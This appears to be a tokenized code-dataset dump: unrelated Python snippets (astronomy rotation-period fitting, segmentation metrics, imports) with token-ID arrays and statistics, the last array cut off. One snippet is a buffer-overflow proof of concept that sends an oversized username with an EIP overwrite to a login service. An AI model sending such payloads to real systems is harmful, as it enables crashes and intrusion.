[ 6738, 923, 24055, 13, 26791, 13, 9641, 1330, 651, 62, 9641, 198, 198, 43717, 796, 357, 15, 11, 657, 11, 718, 11, 705, 26591, 3256, 657, 8, 198, 198, 834, 9641, 834, 796, 651, 62, 9641, 7, 43717, 8, 198, 198, 834, 9800, 834, 796, 366, 44, 403, 271, 1148, 1031, 671, 1279, 6199, 271, 271, 1031, 671, 31, 14816, 13, 785, 24618, 198 ]
2.703125
64
#!/usr/bin/python import socket try: print "\n Sending ""evil"" buffer..." padding = "A" * 780 eip = "B" * 4 buffer = "C" * 16 payload = padding + eip + buffer content = "username=" + payload + "&password=A" buffer = "POST /login HTTP/1.1\r\n" buffer += "Host: 192.168.1.1\r\n" buffer += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\r\n" buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buffer += "Accept-Language: en-US,en;q=0.5\r\n" buffer += "Accept-Encoding: gzip, deflate\r\n" buffer += "Referer: http://192.168.209.10/login\r\n" buffer += "Content-Type: application/x-www-form-urlencoded\r\n" buffer += "Content-Length: "+str(len(content))+"\r\n" buffer += "Connection: close\r\n" buffer += "Upgrade-Insecure-Requests: 1\r\n" buffer += "\r\n" buffer += content s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.1", 80)) s.send(buffer) s.close() except: print "Cloud not connect!"
[ 2, 48443, 14629, 14, 8800, 14, 29412, 198, 198, 11748, 17802, 198, 198, 28311, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 37082, 77, 32038, 13538, 23542, 15931, 11876, 9313, 198, 197, 197, 198, 197, 39231, 796, 366, 32, 1, 1635, 41287, 198, 197, 68, 541, 796, 366, 33, 1, 1635, 604, 198, 197, 22252, 796, 366, 34, 1, 1635, 1467, 628, 197, 15577, 2220, 796, 24511, 1343, 304, 541, 1343, 11876, 628, 197, 11299, 796, 366, 29460, 2625, 1343, 21437, 1343, 366, 5, 28712, 28, 32, 1, 628, 197, 22252, 796, 220, 366, 32782, 1220, 38235, 14626, 14, 16, 13, 16, 59, 81, 59, 77, 1, 198, 220, 220, 220, 220, 220, 220, 220, 11876, 15853, 366, 17932, 25, 17817, 13, 14656, 13, 16, 13, 16, 59, 81, 59, 77, 1, 198, 220, 220, 220, 220, 220, 220, 220, 11876, 15853, 366, 12982, 12, 36772, 25, 29258, 14, 20, 13, 15, 357, 55, 1157, 26, 7020, 2124, 4521, 62, 2414, 26, 374, 85, 25, 3104, 13, 15, 8, 2269, 37549, 14, 1264, 8298, 486, 16802, 14, 3104, 13, 15, 59, 81, 59, 77, 1, 198, 220, 220, 220, 220, 220, 220, 220, 11876, 15853, 366, 38855, 25, 2420, 14, 6494, 11, 31438, 14, 87, 6494, 10, 19875, 11, 31438, 14, 19875, 26, 80, 28, 15, 13, 24, 11, 9, 15211, 26, 80, 28, 15, 13, 23, 59, 81, 59, 77, 1, 198, 220, 220, 220, 220, 220, 220, 220, 11876, 15853, 366, 38855, 12, 32065, 25, 551, 12, 2937, 11, 268, 26, 80, 28, 15, 13, 20, 59, 81, 59, 77, 1, 198, 220, 220, 220, 220, 220, 220, 220, 11876, 15853, 366, 38855, 12, 27195, 7656, 25, 308, 13344, 11, 825, 17660, 59, 81, 59, 77, 1, 198, 220, 220, 220, 220, 220, 220, 220, 11876, 15853, 366, 8134, 11882, 25, 2638, 1378, 17477, 13, 14656, 13, 22567, 13, 940, 14, 38235, 59, 81, 59, 77, 1, 198, 220, 220, 220, 220, 220, 220, 220, 11876, 15853, 366, 19746, 12, 6030, 25, 3586, 14, 87, 12, 2503, 12, 687, 12, 6371, 12685, 9043, 59, 81, 59, 77, 1, 198, 220, 220, 220, 220, 220, 220, 220, 11876, 15853, 366, 19746, 12, 24539, 25, 43825, 2536, 7, 11925, 7, 11299, 4008, 10, 1, 59, 81, 59, 77, 1, 198, 220, 220, 220, 220, 220, 220, 220, 11876, 15853, 366, 32048, 25, 1969, 59, 81, 59, 77, 1, 198, 220, 220, 220, 220, 220, 220, 220, 11876, 15853, 366, 44948, 12, 818, 22390, 12, 16844, 3558, 25, 352, 59, 81, 59, 77, 1, 198, 220, 220, 220, 220, 220, 220, 220, 11876, 15853, 37082, 81, 59, 77, 1, 628, 197, 22252, 15853, 2695, 628, 197, 82, 796, 17802, 13, 44971, 7, 44971, 13, 8579, 62, 1268, 2767, 11, 17802, 13, 50, 11290, 62, 2257, 32235, 8, 628, 220, 220, 220, 220, 220, 220, 220, 264, 13, 8443, 7, 7203, 17477, 13, 14656, 13, 16, 13, 16, 1600, 4019, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 264, 13, 21280, 7, 22252, 8, 628, 220, 220, 220, 220, 220, 220, 220, 264, 13, 19836, 3419, 198, 198, 16341, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 366, 18839, 407, 2018, 2474, 198 ]
2.123134
536
import os from abc import abstractmethod from functools import partial import collections import torch import torch.nn as nn import core.util as Util from core.logger import LogTracker CustomResult = collections.namedtuple('CustomResult', 'name result')
[ 11748, 28686, 198, 6738, 450, 66, 1330, 12531, 24396, 198, 6738, 1257, 310, 10141, 1330, 13027, 198, 11748, 17268, 198, 198, 11748, 28034, 198, 11748, 28034, 13, 20471, 355, 299, 77, 198, 198, 11748, 4755, 13, 22602, 355, 7273, 346, 198, 6738, 4755, 13, 6404, 1362, 1330, 5972, 35694, 198, 15022, 23004, 796, 17268, 13, 13190, 83, 29291, 10786, 15022, 23004, 3256, 705, 3672, 1255, 11537, 198 ]
3.820896
67
import argparse import os from pathlib import Path import sys sys.path.append(str(Path(__file__).parent.parent)) import pandas as pd from skimage.io import imread, imsave from joblib import Parallel, delayed from utils.metrics import * parser = argparse.ArgumentParser() parser.add_argument('pred_root') args = parser.parse_args() glas_root = Path('~/data/GLAS_all').expanduser() pred_root = Path(args.pred_root).expanduser() new_pred_root = pred_root.parent / (pred_root.name + '-new') if not new_pred_root.exists(): new_pred_root.mkdir() (new_pred_root / 'testA').mkdir() (new_pred_root / 'testB').mkdir() executor = Parallel(n_jobs=os.cpu_count()) print('Test A') print('\nReading predictions and gts ...') pred_paths = sorted((pred_root / 'testA').glob('*.bmp')) predictions = executor(delayed(postprocess)(imread(str(pred_path)) / 255) for pred_path in pred_paths) gts = executor(delayed(imread)(gt_path) for gt_path in sorted((glas_root / 'testA' / 'masks').glob('*.bmp'))) print('Saving new predictions ...') for pred, pred_path in zip(predictions, pred_paths): imsave(new_pred_root / 'testA' / pred_path.name, (pred * 255).astype('uint8')) metrics = compute_metrics(predictions, gts, pred_paths) metrics.to_csv(pred_root / 'testA.csv') print('\nTest B') print('\nReading predictions and gts ...') pred_paths = sorted((pred_root / 'testB').glob('*.bmp')) predictions = executor(delayed(postprocess)(imread(str(pred_path)) / 255) for pred_path in pred_paths) gts = executor(delayed(imread)(gt_path) for gt_path in sorted((glas_root / 'testB' / 'masks').glob('*.bmp'))) print('Saving new predictions ...') for pred, pred_path in zip(predictions, pred_paths): imsave(new_pred_root / 'testB' / pred_path.name, (pred * 255).astype('uint8')) metrics = compute_metrics(predictions, gts, pred_paths) metrics.to_csv(pred_root / 'testB.csv')
[ 11748, 1822, 29572, 198, 11748, 28686, 198, 6738, 3108, 8019, 1330, 10644, 198, 11748, 25064, 198, 198, 17597, 13, 6978, 13, 33295, 7, 2536, 7, 15235, 7, 834, 7753, 834, 737, 8000, 13, 8000, 4008, 198, 198, 11748, 19798, 292, 355, 279, 67, 198, 6738, 1341, 9060, 13, 952, 1330, 545, 961, 11, 545, 21928, 198, 6738, 1693, 8019, 1330, 42945, 11, 11038, 198, 198, 6738, 3384, 4487, 13, 4164, 10466, 1330, 1635, 198, 198, 48610, 796, 1822, 29572, 13, 28100, 1713, 46677, 3419, 198, 48610, 13, 2860, 62, 49140, 10786, 28764, 62, 15763, 11537, 198, 22046, 796, 30751, 13, 29572, 62, 22046, 3419, 198, 198, 14391, 62, 15763, 796, 10644, 10786, 93, 14, 7890, 14, 8763, 1921, 62, 439, 27691, 11201, 392, 7220, 3419, 198, 28764, 62, 15763, 796, 10644, 7, 22046, 13, 28764, 62, 15763, 737, 11201, 392, 7220, 3419, 198, 3605, 62, 28764, 62, 15763, 796, 2747, 62, 15763, 13, 8000, 1220, 357, 28764, 62, 15763, 13, 3672, 1343, 705, 12, 3605, 11537, 198, 361, 407, 649, 62, 28764, 62, 15763, 13, 1069, 1023, 33529, 198, 220, 220, 220, 649, 62, 28764, 62, 15763, 13, 28015, 15908, 3419, 198, 220, 220, 220, 357, 3605, 62, 28764, 62, 15763, 1220, 705, 9288, 32, 27691, 28015, 15908, 3419, 198, 220, 220, 220, 357, 3605, 62, 28764, 62, 15763, 1220, 705, 9288, 33, 27691, 28015, 15908, 3419, 198, 198, 18558, 38409, 796, 42945, 7, 77, 62, 43863, 28, 418, 13, 36166, 62, 9127, 28955, 628, 628, 198, 4798, 10786, 14402, 317, 11537, 198, 198, 4798, 10786, 59, 77, 36120, 16277, 290, 308, 912, 2644, 11537, 198, 28764, 62, 6978, 82, 796, 23243, 19510, 28764, 62, 15763, 1220, 705, 9288, 32, 27691, 4743, 672, 10786, 24620, 65, 3149, 6, 4008, 198, 28764, 9278, 796, 3121, 273, 7, 12381, 16548, 7, 7353, 14681, 5769, 320, 961, 7, 2536, 7, 28764, 62, 6978, 4008, 1220, 14280, 8, 329, 2747, 62, 6978, 287, 2747, 62, 6978, 82, 8, 198, 70, 912, 796, 3121, 273, 7, 12381, 16548, 7, 320, 961, 5769, 13655, 62, 6978, 8, 329, 308, 83, 62, 6978, 287, 23243, 19510, 14391, 62, 15763, 1220, 705, 9288, 32, 6, 1220, 705, 5356, 591, 27691, 4743, 672, 10786, 24620, 65, 3149, 6, 22305, 198, 198, 4798, 10786, 50, 2703, 649, 16277, 2644, 11537, 198, 1640, 2747, 11, 2747, 62, 6978, 287, 19974, 7, 28764, 9278, 11, 2747, 62, 6978, 82, 2599, 198, 220, 220, 220, 545, 21928, 7, 3605, 62, 28764, 62, 15763, 1220, 705, 9288, 32, 6, 1220, 2747, 62, 6978, 13, 3672, 11, 357, 28764, 1635, 14280, 737, 459, 2981, 10786, 28611, 23, 6, 4008, 198, 198, 4164, 10466, 796, 24061, 62, 4164, 10466, 7, 28764, 9278, 11, 308, 912, 11, 2747, 62, 6978, 82, 8, 198, 4164, 10466, 13, 1462, 62, 40664, 7, 28764, 62, 15763, 1220, 705, 9288, 32, 13, 40664, 11537, 198, 198, 4798, 10786, 59, 77, 14402, 347, 11537, 198, 198, 4798, 10786, 59, 77, 36120, 16277, 290, 308, 912, 2644, 11537, 198, 28764, 62, 6978, 82, 796, 23243, 19510, 28764, 62, 15763, 1220, 705, 9288, 33, 27691, 4743, 672, 10786, 24620, 65, 3149, 6, 4008, 198, 28764, 9278, 796, 3121, 273, 7, 12381, 16548, 7, 7353, 14681, 5769, 320, 961, 7, 2536, 7, 28764, 62, 6978, 4008, 1220, 14280, 8, 329, 2747, 62, 6978, 287, 2747, 62, 6978, 82, 8, 198, 70, 912, 796, 3121, 273, 7, 12381, 16548, 7, 320, 961, 5769, 13655, 62, 6978, 8, 329, 308, 83, 62, 6978, 287, 23243, 19510, 14391, 62, 15763, 1220, 705, 9288, 33, 6, 1220, 705, 5356, 591, 27691, 4743, 672, 10786, 24620, 65, 3149, 6, 22305, 198, 198, 4798, 10786, 50, 2703, 649, 16277, 2644, 11537, 198, 1640, 2747, 11, 2747, 62, 6978, 287, 19974, 7, 28764, 9278, 11, 2747, 62, 6978, 82, 2599, 198, 220, 220, 220, 545, 21928, 7, 3605, 62, 28764, 62, 15763, 1220, 705, 9288, 33, 6, 1220, 2747, 62, 6978, 13, 3672, 11, 357, 28764, 1635, 14280, 737, 459, 2981, 10786, 28611, 23, 6, 4008, 198, 198, 4164, 10466, 796, 24061, 62, 4164, 10466, 7, 28764, 9278, 11, 308, 912, 11, 2747, 62, 6978, 82, 8, 198, 4164, 10466, 13, 1462, 62, 40664, 7, 28764, 62, 15763, 1220, 705, 9288, 33, 13, 40664, 11537, 198 ]
2.664773
704
import numpy as np from tqdm import tqdm import statistics as stats from astropy import units as u from scipy.signal import medfilt from scipy.optimize import curve_fit from astropy.table import Table, Column from astropy.timeseries import LombScargle __all__ = ['MeasureProt'] class MeasureProt(object): """ Used for measuring rotation periods. """ def __init__(self, IDs, time, flux, flux_err): """ Takes in light curve identifiers, time, flux, and flux errors. """ self.IDs = IDs self.time = time self.flux = flux self.flux_err = flux_err def gauss_curve(self, x, std, scale, mu): """ Fits a Gaussian to the peak of the LS periodogram. Parameters ---------- x : np.array std : float Standard deviation of gaussian. scale : float Scaling for gaussian. mu : float Mean to fit around. Returns ------- Gaussian curve. """ term1 = 1.0 / (std * np.sqrt(2 * np.pi) ) term2 = np.exp(-0.5 * ((x-mu)/std)**2) return term1 * term2 * scale def chiSquare(self, var, mu, x, y, yerr): """ Calculates chi-square for fitting a Gaussian to the peak of the LS periodogram. Parameters ---------- var : list Variables to fit (std and scale for Gaussian curve). mu : float Mean to fit around. x : np.array y : np.array yerr : np.array Returns ------- chi-square value. """ m = self.gauss(x, var[0], var[1], mu) return np.sum( (y-m)**2 / yerr**2 ) def fit_LS_peak(self, period, power, arg): """ Fits the LS periodogram at the peak power. Parameters ---------- period : np.array Array of periods from Lomb Scargle routine. power : np.array Array of powers from the Lomb Scargle routine. arg : int Argmax of the power in the periodogram. Returns ------- popt : np.array Array of best fit values for Gaussian fit. """ if arg-40 < 0: start = 0 else: start = arg-40 if arg+40 > len(period): end = len(period)-1 else: end = arg+40 m = np.arange(start, end, 1, dtype=int) if arg-20 < 0: start = 0 else: start = arg-20 if arg + 20 > len(period): end = len(period)-1 else: end = arg+20 subm = np.arange(start, end, 1, dtype=int) try: popt = fitting_routine() except RuntimeError: popt = np.full(3, np.nan) # TRIES TO READJUST FITTING WINDOW IF RANGE IS LARGER THAN PERIOD ARRAY except IndexError: if np.min(m) <= 0: m = np.arange(0,arg+40,1,dtype=int) subm = np.arange(0,arg+20,1, dtype=int) elif np.max(m) > len(period): diff = np.max(m) - len(period) m = np.arange(arg-40-diff, len(period)-diff, 1, dtype=int) subm = np.arange(arg-20-diff, len(period)-diff-20, 1, dtype=int) popt = fitting_routine() return popt def run_LS(self, minf=1/12.5, maxf=1/0.1, spp=50): """ Runs LS fit for each light curve. Parameters ---------- minf : float, optional The minimum frequency to search in the LS routine. Default = 1/20. maxf : float, optional The maximum frequency to search in the LS routine. Default = 1/0.1. spp : int, optional The number of samples per peak. Default = 50. Attributes ---------- LS_results : astropy.table.Table """ tab = Table() periods = np.zeros(len(self.IDs)) stds = np.zeros(len(self.IDs)) peak_power = np.zeros(len(self.IDs)) periods2 = np.zeros(len(self.IDs)) peak_power2 = np.zeros(len(self.IDs)) orbit_flag = np.zeros(len(self.IDs)) orbit_flag1 = np.zeros(len(self.IDs)) orbit_flag2 = np.zeros(len(self.IDs)) for i in tqdm(range(len(self.flux)), desc="Finding most likely periods"): time, flux, flux_err = self.time[i], self.flux[i], self.flux_err[i] # SPLITS BY ORBIT diff = np.diff(time) brk = np.where(diff >= np.nanmedian(diff)+14*np.nanstd(diff))[0] if len(brk) > 1: brk_diff = brk - (len(time)/2) try: brk_diff = np.where(brk_diff<0)[0][-1] except IndexError: brk_diff = np.argmin(brk_diff) brk = np.array([brk[brk_diff]], dtype=int) # DEFINITELY TRIMS OUT EARTHSHINE MOFO t1, f1 = time[:brk[0]], flux[:brk[0]]#[300:-500], flux[:brk[0]]#[300:-500] t2, f2 = time[brk[0]:], flux[brk[0]:]#[800:-200], flux[brk[0]:]#[800:-200] o1_params = per_orbit(t1, f1) o2_params = per_orbit(t2, f2) both = np.array([o1_params[0], o2_params[0]]) avg_period = np.nanmedian(both) flag1 = self.assign_flag(o1_params[0], o1_params[2], o1_params[-1], avg_period, o1_params[-2], t1[-1]-t1[0]) flag2 = self.assign_flag(o2_params[0], o2_params[2], o2_params[-1], avg_period, o2_params[-2], t2[-1]-t2[0]) if np.abs(o1_params[1]-avg_period) < 0.5 and np.abs(o2_params[1]-avg_period)<0.5: flag1 = flag2 = 0.0 if flag1 != 0 and flag2 != 0: orbit_flag[i] = 1.0 else: orbit_flag[i] = 0.0 periods[i] = np.nanmedian([o1_params[0], o2_params[0]]) orbit_flag1[i] = flag1 orbit_flag2[i] = flag2 stds[i] = o1_params[-1] peak_power[i] = o1_params[2] periods2[i] = o2_params[0] peak_power2[i] = o1_params[-2] tab.add_column(Column(self.IDs, 'Target_ID')) tab.add_column(Column(periods, name='period_days')) tab.add_column(Column(periods2, name='secondary_period_days')) tab.add_column(Column(stds, name='gauss_width')) tab.add_column(Column(peak_power, name='max_power')) tab.add_column(Column(peak_power2, name='secondary_max_power')) tab.add_column(Column(orbit_flag, name='orbit_flag')) tab.add_column(Column(orbit_flag1, name='oflag1')) tab.add_column(Column(orbit_flag2, name='oflag2')) tab = self.averaged_per_sector(tab) self.LS_results = tab def assign_flag(self, period, power, width, avg, secpow, maxperiod, orbit_flag=0): """ Assigns a flag in the table for which periods are reliable. """ flag = 100 if period > maxperiod: flag = 4 if (period < maxperiod) and (power > 0.005): flag = 3 if (period < maxperiod) and (width <= period*0.6) and (power > 0.005): flag = 2 if ( (period < maxperiod) and (width <= period*0.6) and (secpow < 0.96*power) and (power > 0.005)): flag = 1 if ( (period < maxperiod) and (width <= period*0.6) and (secpow < 0.96*power) and (np.abs(period-avg)<1.0) and (power > 0.005)): flag = 0 if flag == 100: flag = 5 return flag def averaged_per_sector(self, tab): """ Looks at targets observed in different sectors and determines which period measured is likely the best period. Adds a column to MeasureRotations.LS_results of 'true_period_days' for the results. Returns ------- astropy.table.Table """ averaged_periods = np.zeros(len(tab)) flagging = np.zeros(len(tab), dtype=int) limit = 0.3 for tic in np.unique(self.IDs): inds = np.where(tab['Target_ID']==tic)[0] primary = tab['period_days'].data[inds] secondary = tab['secondary_period_days'].data[inds] all_periods = np.append(primary, secondary) # ind_flags = np.append(tab['oflag1'].data[inds], # tab['oflag2'].data[inds]) avg = np.array([]) tflags = np.array([]) if len(inds) > 1: try: mode = stats.mode(np.round(all_periods,2)) if mode > 11.5: avg = np.full(np.nanmean(primary), len(inds)) tflags = np.full(2, len(inds)) else: for i in range(len(inds)): if np.abs(primary[i]-mode) < limit: avg = np.append(avg, primary[i]) tflags = np.append(tflags,0) elif np.abs(secondary[i]-mode) < limit: avg = np.append(avg, secondary[i]) tflags = np.append(tflags,1) elif np.abs(primary[i]/2.-mode) < limit: avg = np.append(avg, primary[i]/2.) tflags = np.append(tflags,0) elif np.abs(secondary[i]/2.-mode) < limit: avg = np.append(avg, secondary[i]/2.) tflags = np.append(tflags,1) elif np.abs(primary[i]*2.-mode) < limit: avg = np.append(avg, primary[i]*2.) tflags = np.append(tflags,0) elif np.abs(secondary[i]*2.-mode) < limit: avg = np.append(avg, secondary[i]*2.) tflags = np.append(tflags,1) else: tflags = np.append(tflags, 2) except: for i in range(len(inds)): if tab['oflag1'].data[inds[i]]==0 and tab['oflag2'].data[inds[i]]==0: avg = np.append(avg, tab['period_days'].data[inds[i]]) tflags = np.append(tflags, 0) else: tflags = np.append(tflags,2) else: avg = np.nanmean(primary) if tab['oflag1'].data[inds] == 0 and tab['oflag2'].data[inds]==0: tflags = 0 else: tflags = 2 averaged_periods[inds] = np.nanmean(avg) flagging[inds] = tflags tab.add_column(Column(flagging, 'Flags')) tab.add_column(Column(averaged_periods, 'avg_period_days')) return tab def phase_lightcurve(self, table=None, trough=-0.5, peak=0.5, kernel_size=101): """ Finds and creates a phase light curve that traces the spots. Uses only complete rotations and extrapolates outwards until the entire light curve is covered. Parameters ---------- table : astropy.table.Table, optional Used for getting the periods of each light curve. Allows users to use already created tables. Default = None. Will search for stella.FindTheSpots.LS_results. trough : float, optional Sets the phase value at the minimum. Default = -0.5. peak : float, optional Sets the phase value t the maximum. Default = 0.5. kernel_size : odd float, optional Sets kernel size for median filter smoothing. Default = 15. Attributes ---------- phases : np.ndarray """ if table is None: table = self.LS_results PHASES = np.copy(self.flux) for i in tqdm(range(len(table)), desc="Mapping phases"): flag = table['Flags'].data[i] if flag == 0 or flag == 1: period = table['avg_period_days'].data[i] * u.day cadences = int(np.round((period.to(u.min)/2).value)) all_time = self.time[i] all_flux = self.flux[i] diff = np.diff(all_time) gaptime = np.where(diff>=np.nanmedian(diff)+12*np.nanstd(diff))[0][0] t1, f1 = all_time[:gaptime+1], all_flux[:gaptime+1] t2, f2 = all_time[gaptime+1:], all_flux[gaptime+1:] o1map = map_per_orbit(t1, f1, kernel_size=101, cadences=cadences) o2map = map_per_orbit(t2, f2, kernel_size=101, cadences=cadences) phase = np.append(o1map, o2map) else: phase = np.zeros(len(self.flux[i])) PHASES[i] = phase self.phases = PHASES
[ 11748, 299, 32152, 355, 45941, 198, 6738, 256, 80, 36020, 1330, 256, 80, 36020, 198, 11748, 7869, 355, 9756, 198, 6738, 6468, 28338, 1330, 4991, 355, 334, 198, 6738, 629, 541, 88, 13, 12683, 282, 1330, 1117, 69, 2326, 198, 6738, 629, 541, 88, 13, 40085, 1096, 1330, 12133, 62, 11147, 198, 6738, 6468, 28338, 13, 11487, 1330, 8655, 11, 29201, 198, 6738, 6468, 28338, 13, 22355, 10640, 1330, 28503, 3351, 853, 293, 198, 198, 834, 439, 834, 796, 37250, 47384, 19703, 20520, 198, 198, 4871, 24291, 19703, 7, 15252, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 16718, 329, 15964, 13179, 9574, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 198, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 32373, 11, 640, 11, 28462, 11, 28462, 62, 8056, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 33687, 287, 1657, 12133, 42814, 11, 640, 11, 28462, 11, 220, 198, 220, 220, 220, 220, 220, 220, 220, 290, 28462, 8563, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 47954, 220, 796, 32373, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 2435, 796, 640, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 69, 22564, 796, 28462, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 69, 22564, 62, 8056, 796, 28462, 62, 8056, 628, 628, 220, 220, 220, 825, 31986, 1046, 62, 22019, 303, 7, 944, 11, 2124, 11, 14367, 11, 5046, 11, 38779, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 376, 896, 257, 12822, 31562, 284, 262, 9103, 286, 262, 30948, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2278, 21857, 13, 628, 220, 220, 220, 220, 220, 220, 220, 40117, 198, 220, 220, 220, 220, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 220, 220, 220, 220, 2124, 1058, 45941, 13, 18747, 198, 220, 220, 220, 220, 220, 220, 220, 14367, 1058, 12178, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 8997, 28833, 286, 31986, 31562, 13, 198, 220, 220, 220, 220, 220, 220, 220, 5046, 1058, 12178, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1446, 4272, 329, 31986, 31562, 13, 198, 220, 220, 220, 220, 220, 220, 220, 38779, 1058, 12178, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 22728, 284, 4197, 1088, 13, 628, 220, 220, 220, 220, 220, 220, 220, 16409, 198, 220, 220, 220, 220, 220, 220, 220, 35656, 198, 220, 220, 220, 220, 220, 220, 220, 12822, 31562, 12133, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 3381, 16, 796, 352, 13, 15, 1220, 357, 19282, 1635, 45941, 13, 31166, 17034, 7, 17, 1635, 45941, 13, 14415, 8, 1267, 198, 220, 220, 220, 220, 220, 220, 220, 3381, 17, 796, 45941, 13, 11201, 32590, 15, 13, 20, 1635, 14808, 87, 12, 30300, 20679, 19282, 8, 1174, 17, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 3381, 16, 1635, 3381, 17, 1635, 5046, 628, 198, 220, 220, 220, 825, 33166, 48011, 7, 944, 11, 1401, 11, 38779, 11, 2124, 11, 331, 11, 331, 8056, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 27131, 689, 33166, 12, 23415, 329, 15830, 257, 12822, 31562, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 284, 262, 9103, 286, 262, 30948, 2278, 21857, 13, 628, 220, 220, 220, 220, 220, 220, 220, 40117, 198, 220, 220, 220, 220, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 220, 220, 220, 220, 1401, 1058, 1351, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 15965, 2977, 284, 4197, 357, 19282, 290, 5046, 329, 12822, 31562, 12133, 737, 198, 220, 220, 220, 220, 220, 220, 220, 38779, 1058, 12178, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 22728, 284, 4197, 1088, 13, 198, 220, 220, 220, 220, 220, 220, 220, 2124, 1058, 45941, 13, 18747, 198, 220, 220, 220, 220, 220, 220, 220, 331, 1058, 45941, 13, 18747, 198, 220, 220, 220, 220, 220, 220, 220, 331, 8056, 1058, 45941, 13, 18747, 628, 220, 220, 220, 220, 220, 220, 220, 16409, 198, 220, 220, 220, 220, 220, 220, 220, 35656, 198, 220, 220, 220, 220, 220, 220, 220, 33166, 12, 23415, 1988, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 285, 796, 2116, 13, 4908, 1046, 7, 87, 11, 1401, 58, 15, 4357, 1401, 58, 16, 4357, 38779, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 45941, 13, 16345, 7, 357, 88, 12, 76, 8, 1174, 17, 1220, 331, 8056, 1174, 17, 1267, 628, 220, 220, 220, 220, 198, 220, 220, 220, 825, 4197, 62, 6561, 62, 36729, 7, 944, 11, 2278, 11, 1176, 11, 1822, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 376, 896, 262, 30948, 2278, 21857, 379, 262, 9103, 1176, 13, 220, 628, 220, 220, 220, 220, 220, 220, 220, 40117, 198, 220, 220, 220, 220, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 220, 220, 220, 220, 2278, 1058, 45941, 13, 18747, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 15690, 286, 9574, 422, 28503, 1446, 853, 293, 8027, 13, 198, 220, 220, 220, 220, 220, 220, 220, 1176, 1058, 45941, 13, 18747, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 15690, 286, 5635, 422, 262, 28503, 1446, 853, 293, 8027, 13, 198, 220, 220, 220, 220, 220, 220, 220, 1822, 1058, 493, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 20559, 9806, 286, 262, 1176, 287, 262, 2278, 21857, 13, 628, 220, 220, 220, 220, 220, 220, 220, 16409, 198, 220, 220, 220, 220, 220, 220, 220, 35656, 198, 220, 220, 220, 220, 220, 220, 220, 1461, 83, 1058, 45941, 13, 18747, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 15690, 286, 1266, 4197, 3815, 329, 12822, 31562, 4197, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 611, 1822, 12, 1821, 1279, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 923, 796, 657, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 923, 796, 1822, 12, 1821, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1822, 10, 1821, 1875, 18896, 7, 41007, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 886, 796, 18896, 7, 41007, 13219, 16, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 886, 796, 1822, 10, 1821, 628, 220, 220, 220, 220, 220, 220, 220, 285, 796, 45941, 13, 283, 858, 7, 9688, 11, 886, 11, 352, 11, 288, 4906, 28, 600, 8, 628, 220, 220, 220, 220, 220, 220, 220, 611, 1822, 12, 1238, 1279, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 923, 796, 657, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 923, 796, 1822, 12, 1238, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1822, 1343, 1160, 1875, 18896, 7, 41007, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 886, 796, 18896, 7, 41007, 13219, 16, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 886, 796, 1822, 10, 1238, 628, 220, 220, 220, 220, 220, 220, 220, 850, 76, 796, 45941, 13, 283, 858, 7, 9688, 11, 886, 11, 352, 11, 288, 4906, 28, 600, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1461, 83, 796, 15830, 62, 81, 28399, 3419, 198, 220, 